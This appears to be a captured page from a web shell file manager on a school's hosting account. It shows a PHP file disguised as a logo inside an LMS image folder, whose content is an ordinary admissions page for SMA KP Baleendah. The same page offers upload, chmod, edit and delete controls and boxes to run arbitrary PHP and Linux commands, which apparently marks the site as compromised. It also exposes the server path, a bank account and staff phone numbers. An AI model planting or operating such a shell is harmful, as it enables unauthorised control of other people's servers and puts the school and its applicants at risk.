📁 File Manager
📍
/
/
home
/
u449181296
/
domains
/
birulogi.smakpbaleendah.sch.id
/
public_html
/
lms
/
tukang-ngatur
/
assets
/
img
/
qr-logos
/home/u449181296/domains/birulogi.smakpbaleendah.sch.id/public_html/lms/tukang-ngatur/assets/img/qr-logos
Upload
Name
Size
Date
CHMOD
Action
— FILE —
logo_1773801405.php
6.73 KB
2026-03-18 02:36
644
(rw-r--r--)
Edit
|
Rename
|
Preview
|
Del
Edit
<!DOCTYPE html> <html lang="id"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>SPMB SMA KP Baleendah - Generasi Panca Waluya</title> <script src="https://cdn.tailwindcss.com"></script> <style> @import url('https://fonts.googleapis.com/css2?family=Plus+Jakarta+Sans:wght@400;600;700;800&display=swap'); body { font-family: 'Plus Jakarta Sans', sans-serif; background-color: #fcfcfc; color: #1a1a1a; scroll-behavior: smooth; } .cta-gradient { background: linear-gradient(135deg, #059669, #10b981); } .modal { visibility: hidden; opacity: 0; transition: all 0.3s ease; } .modal.active { visibility: visible; opacity: 1; } .modal-active { overflow: hidden; } .timer-unit { background: #ffffff; border: 1px solid #e5e7eb; border-radius: 0.75rem; min-width: 50px; padding: 8px 4px; } </style> </head> <body class="antialiased"> <!-- Banner Global --> <div id="global-announcement" class="bg-emerald-900 text-white py-3 px-4 sticky top-0 z-[100] border-b border-emerald-800"> <div class="max-w-7xl mx-auto flex flex-col md:flex-row items-center justify-center gap-4 text-center"> <div class="flex items-center gap-2"> <span class="inline-block w-2 h-2 rounded-full bg-emerald-400 animate-pulse"></span> <span id="global-status-text" class="text-xs font-bold uppercase tracking-widest">Memuat Info...</span> </div> <div id="global-timer" class="flex gap-4 font-mono font-bold text-emerald-300 text-sm"> <span id="main-d">00</span> Hari <span id="main-h">00</span> Jam <span id="main-m">00</span> Menit <span id="main-s">00</span> Detik </div> </div> </div> <!-- Navigation --> <nav class="bg-white/80 backdrop-blur-md sticky top-[48px] md:top-[44px] z-50 border-b border-gray-100"> <div class="max-w-7xl mx-auto px-6 h-20 flex justify-between items-center"> <div class="flex items-center gap-3"> <img src="SMA_Logo-KpBe-1-923x1024.png" alt="Logo" class="h-12 w-auto" onerror="this.src='https://placehold.co/100x100?text=SMA+KP'"> <div> <h1 class="text-xl font-extrabold tracking-tighter text-gray-900 leading-none">SMA KP BALEENDAH</h1> <p class="text-[9px] font-bold text-emerald-600 uppercase tracking-widest mt-1">Mewujudkan Generasi Panca Waluya</p> </div> </div> <div class="hidden md:flex items-center gap-8 text-xs font-bold text-gray-600 uppercase tracking-widest"> <a href="#jadwal" class="hover:text-emerald-600">Jadwal</a> <button onclick="openModal('modal-syarat')" class="hover:text-emerald-600">Persyaratan</button> <button onclick="openModal('modal-bayar')" class="hover:text-emerald-600">Pembayaran</button> <a href="https://bit.ly/spmbsmakpbe2026" target="_blank" class="px-5 py-2.5 cta-gradient text-white rounded-full shadow-lg">Daftar Online</a> </div> </div> </nav> <!-- Hero Section --> <header class="relative py-20 px-6 overflow-hidden bg-white"> <div class="max-w-5xl mx-auto text-center relative z-10"> <div class="inline-block px-4 py-1.5 bg-emerald-100 text-emerald-700 rounded-full text-[10px] font-black uppercase tracking-[0.2em] mb-8"> SPMB: Sistem Penerimaan Murid Baru </div> <h2 class="text-4xl md:text-7xl font-black text-gray-900 tracking-tighter leading-[1] mb-8"> SMA KP Baleendah: <br> <span class="text-emerald-600 italic">Mewujudkan Generasi Panca Waluya.</span> </h2> <p class="text-md md:text-lg text-gray-600 font-medium max-w-2xl mx-auto mb-12 leading-relaxed"> Bergabunglah bersama kami untuk mencetak peserta didik unggul. Kami berdedikasi tinggi pada pembentukan karakter dan kompetensi masa depan. </p> <div class="flex flex-col sm:flex-row justify-center gap-4"> <a href="https://bit.ly/spmbsmakpbe2026" target="_blank" class="px-10 py-5 cta-gradient text-white rounded-2xl font-black text-xs uppercase tracking-widest shadow-xl">Daftar Sekarang</a> <a href="BrosurSmaKpBe2526.jpg" target="_blank" class="px-10 py-5 bg-white border-2 border-gray-100 text-gray-900 rounded-2xl font-black text-xs uppercase tracking-widest flex items-center justify-center gap-2"> Unduh Brosur </a> </div> </div> </header> <!-- Jadwal Gelombang --> <section id="jadwal" class="py-24 bg-gray-50"> <div class="max-w-7xl mx-auto px-6"> <div class="text-center mb-16"> <h3 class="text-3xl font-black text-gray-900 tracking-tight mb-2 uppercase">Jadwal Gelombang Pendaftaran</h3> <p class="text-gray-500 font-bold uppercase tracking-[0.3em] text-[10px]">Tahun Pelajaran 2026 / 2027</p> </div> <div class="grid grid-cols-1 md:grid-cols-3 gap-8"> <!-- Gelombang 1 --> <div id="card-g1" class="bg-white rounded-[3rem] p-8 shadow-xl border border-gray-100 flex flex-col relative transition-all"> <div class="w-12 h-12 rounded-2xl bg-emerald-100 text-emerald-600 flex items-center justify-center font-black mb-6">01</div> <h4 class="text-2xl font-black text-gray-900">Gelombang 1</h4> <p class="text-emerald-600 font-bold text-[10px] uppercase tracking-widest mb-6 italic">Alpha Period</p> <div class="mb-8"> <p class="text-[9px] font-black text-gray-400 uppercase mb-4 text-center tracking-widest" id="timer-label-g1">Pendaftaran Dibuka Dalam:</p> <div class="grid grid-cols-4 gap-2 text-center"> <div class="timer-unit"><span id="g1-d" class="block text-xl font-black text-gray-900">00</span><p class="text-[8px] font-bold text-gray-400">HARI</p></div> <div class="timer-unit"><span id="g1-h" class="block text-xl font-black text-gray-900">00</span><p class="text-[8px] font-bold text-gray-400">JAM</p></div> <div class="timer-unit"><span id="g1-m" class="block text-xl font-black text-gray-900">00</span><p class="text-[8px] font-bold text-gray-400">MENIT</p></div> <div class="timer-unit"><span id="g1-s" class="block text-xl font-black text-emerald-600">00</span><p class="text-[8px] font-bold text-gray-400">DETIK</p></div> </div> </div> <p class="text-xs font-bold text-gray-500 mb-8 border-t border-gray-100 pt-6">01 Okt - 30 Des 2025<br><span class="text-[9px] opacity-60 uppercase">Pendaftaran Awal</span></p> <div id="action-g1"></div> </div> <!-- Gelombang 2 --> <div id="card-g2" class="bg-white rounded-[3rem] p-8 shadow-xl border border-gray-100 flex flex-col relative transition-all"> <div class="w-12 h-12 rounded-2xl bg-cyan-100 text-cyan-600 flex items-center justify-center font-black mb-6">02</div> <h4 class="text-2xl font-black text-gray-900">Gelombang 2</h4> <p class="text-cyan-600 font-bold text-[10px] uppercase tracking-widest mb-6 italic">Inti Period</p> <div class="mb-8"> <p class="text-[9px] font-black text-gray-400 uppercase mb-4 text-center tracking-widest" id="timer-label-g2">Pendaftaran Dibuka Dalam:</p> <div class="grid grid-cols-4 gap-2 text-center"> <div class="timer-unit"><span id="g2-d" class="block text-xl font-black text-gray-900">00</span><p class="text-[8px] font-bold text-gray-400">HARI</p></div> <div class="timer-unit"><span id="g2-h" class="block text-xl font-black text-gray-900">00</span><p class="text-[8px] font-bold text-gray-400">JAM</p></div> <div class="timer-unit"><span id="g2-m" class="block text-xl font-black text-gray-900">00</span><p class="text-[8px] font-bold text-gray-400">MENIT</p></div> <div class="timer-unit"><span id="g2-s" class="block text-xl font-black text-cyan-600">00</span><p class="text-[8px] font-bold text-gray-400">DETIK</p></div> </div> </div> <p class="text-xs font-bold text-gray-500 mb-8 border-t border-gray-100 pt-6">01 Jan - 31 Mar 2026<br><span class="text-[9px] opacity-60 uppercase">Pendaftaran Reguler</span></p> <div id="action-g2"></div> </div> <!-- Gelombang 3 --> <div id="card-g3" class="bg-white rounded-[3rem] p-8 shadow-xl border border-gray-100 flex flex-col relative transition-all"> <div class="w-12 h-12 rounded-2xl bg-amber-100 text-amber-600 flex items-center justify-center font-black mb-6">03</div> <h4 class="text-2xl font-black text-gray-900">Gelombang 3</h4> <p class="text-amber-600 font-bold text-[10px] uppercase tracking-widest mb-6 italic">Beta Period</p> <div class="mb-8"> <p class="text-[9px] font-black text-gray-400 uppercase mb-4 text-center tracking-widest" id="timer-label-g3">Pendaftaran Dibuka Dalam:</p> <div class="grid grid-cols-4 gap-2 text-center"> <div class="timer-unit"><span id="g3-d" class="block text-xl font-black text-gray-900">00</span><p class="text-[8px] font-bold text-gray-400">HARI</p></div> <div class="timer-unit"><span id="g3-h" class="block text-xl font-black text-gray-900">00</span><p class="text-[8px] font-bold text-gray-400">JAM</p></div> <div class="timer-unit"><span id="g3-m" class="block text-xl font-black text-gray-900">00</span><p class="text-[8px] font-bold text-gray-400">MENIT</p></div> <div class="timer-unit"><span id="g3-s" class="block text-xl font-black text-amber-600">00</span><p class="text-[8px] font-bold text-gray-400">DETIK</p></div> </div> </div> <p class="text-xs font-bold text-gray-500 mb-8 border-t border-gray-100 pt-6">01 Apr - 31 Jul 2026<br><span class="text-[9px] opacity-60 uppercase">Pendaftaran Akhir</span></p> <div id="action-g3"></div> </div> </div> </div> </section> <!-- Modal Persyaratan --> <div id="modal-syarat" class="modal fixed inset-0 z-[200] flex items-center justify-center p-4"> <div class="absolute inset-0 bg-gray-900/80 backdrop-blur-sm" onclick="closeModal('modal-syarat')"></div> <div class="relative bg-white w-full max-w-xl rounded-[2.5rem] shadow-2xl overflow-hidden"> <div class="p-8 border-b border-gray-50 flex justify-between items-center bg-emerald-50/50"> <h3 class="text-2xl font-black text-gray-900 tracking-tighter uppercase">Dokumen Persyaratan</h3> <button onclick="closeModal('modal-syarat')" class="text-gray-400 hover:text-red-500 transition"><svg class="w-8 h-8" fill="none" stroke="currentColor" viewBox="0 0 24 24"><path stroke-linecap="round" stroke-linejoin="round" stroke-width="2.5" d="M6 18L18 6M6 6l12 12"/></svg></button> </div> <div class="p-8"> <p class="text-[10px] font-black text-emerald-700 uppercase tracking-widest mb-6">Lengkapi dokumen persyaratan diantaranya;</p> <div class="space-y-3"> <div class="flex gap-4 text-[13px] font-bold text-gray-700 leading-tight"><span>1.</span> <p>Mengisi formulir pendaftaran secara online</p></div> <div class="flex gap-4 text-[13px] font-bold text-gray-700 leading-tight"><span>2.</span> <p>Fotokopy Akta kelahiran 2 lembar</p></div> <div class="flex gap-4 text-[13px] font-bold text-gray-700 leading-tight"><span>3.</span> <p>Fotokopy Kartu Keluarga 2 lembar</p></div> <div class="flex gap-4 text-[13px] font-bold text-gray-700 leading-tight"><span>4.</span> <p>Fotokopy ijazah/ Kelulusan dari SMP asal</p></div> <div class="flex gap-4 text-[13px] font-bold text-gray-700 leading-tight"><span>5.</span> <p>Surat kelakuan baik</p></div> <div class="flex gap-4 text-[13px] font-bold text-gray-700 leading-tight"><span>6.</span> <p>Surat keterangan sehat</p></div> <div class="flex gap-4 text-[13px] font-bold text-gray-700 leading-tight"><span>7.</span> <p>Potocopy NISN</p></div> <div class="flex gap-4 text-[13px] font-bold text-gray-700 leading-tight"><span>8.</span> <p>Potocopy KTP Ortu</p></div> </div> </div> <div class="p-6 bg-gray-50 flex justify-center"> <button onclick="closeModal('modal-syarat')" class="px-10 py-3 bg-emerald-600 text-white font-black rounded-xl text-xs uppercase tracking-widest shadow-lg">Tutup</button> </div> </div> </div> <!-- Modal Pembayaran --> <div id="modal-bayar" class="modal fixed inset-0 z-[200] flex items-center justify-center p-4"> <div class="absolute inset-0 bg-gray-900/80 backdrop-blur-sm" onclick="closeModal('modal-bayar')"></div> <div class="relative bg-white w-full max-w-2xl rounded-[2.5rem] shadow-2xl overflow-hidden"> <div class="p-8 border-b border-gray-100 bg-gray-50/50"> <h3 class="text-xl font-black text-gray-900 uppercase">Metode Pembayaran</h3> </div> <div class="p-8 grid grid-cols-1 md:grid-cols-2 gap-6"> <div class="p-6 bg-emerald-50 rounded-[2rem] border border-emerald-100"> <h4 class="font-black text-emerald-900 mb-2">1. Langsung Cash</h4> <p class="text-[11px] font-bold text-emerald-700 leading-relaxed italic">Lakukan pembayaran tunai di bagian Tata Usaha Sekolah pada jam kerja.</p> </div> <div class="p-6 bg-blue-50 rounded-[2rem] border border-blue-100"> <h4 class="font-black text-blue-900 mb-3">2. Transfer Bank</h4> <div class="bg-white p-4 rounded-xl shadow-sm"> <p class="text-[9px] font-black text-blue-400 mb-1">MANDIRI</p> <p class="text-md font-mono font-black text-blue-800 tracking-tighter">1300025251003</p> <p class="text-[9px] font-bold text-gray-500 mt-2">A.n: Yayasan Pembina Karya</p> </div> </div> </div> </div> </div> <!-- Contact & Panitia Pendaftaran Section --> <section class="py-24 bg-white px-6"> <div class="max-w-4xl mx-auto"> <div class="text-center mb-16"> <h4 class="text-3xl font-black text-gray-900 mb-2 uppercase tracking-tight">Panitia Pendaftaran</h4> <p class="text-xs font-bold text-emerald-600 uppercase tracking-widest">Hubungi kami untuk informasi lebih lanjut</p> </div> <div class="grid grid-cols-1 md:grid-cols-2 gap-8"> <!-- Panitia 1 (Yun Yun) --> <a href="https://wa.me/6281297199408" target="_blank" class="group flex items-center gap-5 p-8 bg-gray-50 rounded-[2.5rem] border border-transparent hover:border-emerald-200 hover:bg-emerald-50 transition-all duration-300"> <div class="w-14 h-14 bg-emerald-600 rounded-2xl flex items-center justify-center text-white shadow-lg group-hover:rotate-6 transition-transform"> <svg class="w-7 h-7" fill="currentColor" viewBox="0 0 24 24"><path d="M.057 24l1.687-6.163c-1.041-1.804-1.588-3.849-1.587-5.946.003-6.556 5.338-11.891 11.893-11.891 3.181.001 6.167 1.24 8.413 3.488 2.245 2.248 3.481 5.236 3.48 8.414-.003 6.557-5.338 11.892-11.893 11.892-1.99-.001-3.951-.5-5.688-1.448l-6.305 1.654zm6.597-3.807c1.676.995 3.276 1.591 5.392 1.592 5.448 0 9.886-4.434 9.889-9.885.002-5.462-4.415-9.89-9.881-9.892-5.452 0-9.887 4.434-9.89 9.884-.001 2.225.651 3.891 1.746 5.634l-.999 3.648 3.743-.981z"/></svg> </div> <div> <p class="text-[10px] font-black text-emerald-600 uppercase mb-1 tracking-widest">Panitia 1</p> <p class="font-black text-gray-900 text-sm leading-tight">Yun Yun Wulansari, S.Pd.</p> </div> </a> <!-- Panitia 2 (Apip) --> <a href="https://wa.me/6289656117537" target="_blank" class="group flex items-center gap-5 p-8 bg-gray-50 rounded-[2.5rem] border border-transparent hover:border-emerald-200 hover:bg-emerald-50 transition-all duration-300"> <div class="w-14 h-14 bg-emerald-600 rounded-2xl flex items-center justify-center text-white shadow-lg group-hover:rotate-6 transition-transform"> <svg class="w-7 h-7" fill="currentColor" viewBox="0 0 24 24"><path d="M.057 24l1.687-6.163c-1.041-1.804-1.588-3.849-1.587-5.946.003-6.556 5.338-11.891 11.893-11.891 3.181.001 6.167 1.24 8.413 3.488 2.245 2.248 3.481 5.236 3.48 8.414-.003 6.557-5.338 11.892-11.893 11.892-1.99-.001-3.951-.5-5.688-1.448l-6.305 1.654zm6.597-3.807c1.676.995 3.276 1.591 5.392 1.592 5.448 0 9.886-4.434 9.889-9.885.002-5.462-4.415-9.89-9.881-9.892-5.452 0-9.887 4.434-9.89 9.884-.001 2.225.651 3.891 1.746 5.634l-.999 3.648 3.743-.981z"/></svg> </div> <div> <p class="text-[10px] font-black text-emerald-600 uppercase mb-1 tracking-widest">Panitia 2</p> <p class="font-black text-gray-900 text-sm leading-tight">Apip, S.Pd.</p> </div> </a> </div> </div> </section> <!-- Detailed Footer --> <footer class="bg-gray-900 text-white py-20 px-6"> <div class="max-w-7xl mx-auto grid grid-cols-1 md:grid-cols-12 gap-12"> <!-- Brand Column --> <div class="md:col-span-5"> <div class="flex items-center gap-4 mb-8"> <img src="SMA_Logo-KpBe-1-923x1024.png" alt="Logo" class="h-16 w-auto brightness-0 invert" onerror="this.src='https://placehold.co/100x100?text=SMA+KP'"> <div> <h5 class="text-xl font-black tracking-tighter">SMA KP BALEENDAH</h5> <p class="text-[10px] font-bold text-emerald-400 uppercase tracking-widest">Generasi Panca Waluya</p> </div> </div> <p class="text-gray-400 text-sm leading-relaxed mb-8 max-w-md"> Sekolah Menengah Atas Karya Pembina Baleendah berkomitmen untuk mencetak generasi yang unggul dalam Imtaq dan Iptek melalui pembentukan karakter dan kompetensi masa depan bagi seluruh peserta didik. </p> <div class="flex gap-4"> <a href="#" class="w-10 h-10 rounded-xl bg-gray-800 flex items-center justify-center hover:bg-emerald-600 transition cursor-pointer text-[10px] font-bold">IG</a> <a href="#" class="w-10 h-10 rounded-xl bg-gray-800 flex items-center justify-center hover:bg-emerald-600 transition cursor-pointer text-[10px] font-bold">FB</a> <a href="#" class="w-10 h-10 rounded-xl bg-gray-800 flex items-center justify-center hover:bg-emerald-600 transition cursor-pointer text-[10px] font-bold">YT</a> </div> </div> <!-- Links Column --> <div class="md:col-span-3"> <h6 class="text-sm font-black uppercase tracking-widest mb-8 text-emerald-500">Akses Cepat</h6> <ul class="space-y-4 text-sm font-bold text-gray-400"> <li><a href="#jadwal" class="hover:text-white transition">Jadwal Gelombang</a></li> <li><button onclick="openModal('modal-syarat')" class="hover:text-white transition text-left">Persyaratan Masuk</button></li> <li><button onclick="openModal('modal-bayar')" class="hover:text-white transition text-left">Info Biaya</button></li> <li><a href="https://bit.ly/spmbsmakpbe2026" target="_blank" class="hover:text-white transition">Formulir Pendaftaran</a></li> </ul> </div> <!-- Contact Column --> <div class="md:col-span-4"> <h6 class="text-sm font-black uppercase tracking-widest mb-8 text-emerald-500">Hubungi Kami</h6> <div class="space-y-6"> <div class="flex gap-4"> <div class="shrink-0 text-emerald-500"> <svg class="w-6 h-6" fill="none" stroke="currentColor" viewBox="0 0 24 24"><path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M17.657 16.657L13.414 20.9a1.998 1.998 0 01-2.827 0l-4.244-4.243a8 8 0 1111.314 0z"/><path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M15 11a3 3 0 11-6 0 3 3 0 016 0z"/></svg> </div> <p class="text-sm text-gray-400 leading-relaxed font-medium"> Jl. Adipati Agung No. 32, Baleendah, <br> Kabupaten Bandung, Jawa Barat 40375. </p> </div> <div class="flex gap-4"> <div class="shrink-0 text-emerald-500"> <svg class="w-6 h-6" fill="none" stroke="currentColor" viewBox="0 0 24 24"><path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M3 8l7.89 5.26a2 2 0 002.22 0L21 8M5 19h14a2 2 0 002-2V7a2 2 0 00-2-2H5a2 2 0 00-2 2v10a2 2 0 002 2z"/></svg> </div> <p class="text-sm text-gray-400 font-bold">smakpbe@gmail.com</p> </div> </div> </div> </div> <!-- Copyright --> <div class="max-w-7xl mx-auto mt-20 pt-8 border-t border-gray-800 flex flex-col md:flex-row justify-between items-center gap-4"> <p class="text-[10px] font-black text-gray-500 uppercase tracking-[0.2em]">© 2025 SMA KP BALEENDAH. ALL RIGHTS RESERVED.</p> <div class="flex gap-6 text-[10px] font-black text-gray-500 uppercase tracking-widest"> <a href="#" class="hover:text-emerald-500">Privacy Policy</a> <a href="#" class="hover:text-emerald-500">Terms</a> </div> </div> </footer> <script> const FORM_URL = "https://bit.ly/spmbsmakpbe2026"; const GELO = [ { id: 'g1', name: 'Gelombang 1', start: new Date("2025-10-01T00:00:00"), end: new Date("2025-12-30T23:59:59") }, { id: 'g2', name: 'Gelombang 2', start: new Date("2026-01-01T00:00:00"), end: new Date("2026-03-31T23:59:59") }, { id: 'g3', name: 'Gelombang 3', start: new Date("2026-04-01T00:00:00"), end: new Date("2026-07-31T23:59:59") } ]; function openModal(id) { document.getElementById(id).classList.add('active'); document.body.classList.add('modal-active'); } function closeModal(id) { document.getElementById(id).classList.remove('active'); document.body.classList.remove('modal-active'); } function updateAll() { const now = new Date(); let activeG = null; GELO.forEach(g => { const label = document.getElementById(`timer-label-${g.id}`); const action = document.getElementById(`action-${g.id}`); const card = document.getElementById(`card-${g.id}`); let target = null; if (now < g.start) { target = g.start; label.innerText = "Pendaftaran Dibuka Dalam:"; action.innerHTML = `<span class="block w-full py-3 bg-gray-100 text-gray-400 rounded-xl text-center text-[10px] font-black uppercase tracking-widest">Segera Dibuka</span>`; } else if (now >= g.start && now <= g.end) { target = g.end; activeG = g; label.innerText = "Sisa Waktu Pendaftaran:"; action.innerHTML = `<a href="${FORM_URL}" target="_blank" class="block w-full py-4 cta-gradient text-white rounded-2xl text-center text-[10px] font-black uppercase tracking-widest shadow-xl">Daftar Sekarang</a>`; card.classList.add('ring-4', 'ring-emerald-500/10', 'border-emerald-500'); card.classList.remove('grayscale', 'opacity-60'); } else { target = null; label.innerText = "Status Gelombang:"; action.innerHTML = `<span class="block w-full py-3 bg-red-50 text-red-400 rounded-xl text-center text-[10px] font-black uppercase tracking-widest">Sudah Ditutup</span>`; card.classList.add('grayscale', 'opacity-60'); } if (target) { const d = target - now; document.getElementById(`${g.id}-d`).innerText = String(Math.floor(d / (1000 * 60 * 60 * 24))).padStart(2, '0'); document.getElementById(`${g.id}-h`).innerText = String(Math.floor((d / (1000 * 60 * 60)) % 24)).padStart(2, '0'); document.getElementById(`${g.id}-m`).innerText = String(Math.floor((d / (1000 * 60)) % 60)).padStart(2, '0'); document.getElementById(`${g.id}-s`).innerText = String(Math.floor((d / 1000) % 60)).padStart(2, '0'); } }); // Banner Atas const mainLabel = document.getElementById('global-status-text'); if (activeG) { mainLabel.innerText = `AKTIF: ${activeG.name.toUpperCase()}`; const diff = activeG.end - now; document.getElementById('main-d').innerText = String(Math.floor(diff / (1000 * 60 * 60 * 24))).padStart(2, '0'); document.getElementById('main-h').innerText = String(Math.floor((diff / (1000 * 60 * 60)) % 24)).padStart(2, '0'); document.getElementById('main-m').innerText = String(Math.floor((diff / (1000 * 60)) % 60)).padStart(2, '0'); document.getElementById('main-s').innerText = String(Math.floor((diff / 1000) % 60)).padStart(2, '0'); } else { mainLabel.innerText = "Cek Jadwal Pendaftaran Di Bawah"; document.getElementById('global-timer').classList.add('hidden'); } } setInterval(updateAll, 1000); updateAll(); </script> </body> </html>
Save
🧪 PHP Preview
<?php echo 'hello'; ?>
Run PHP
🖥 Linux CMD
Run CMD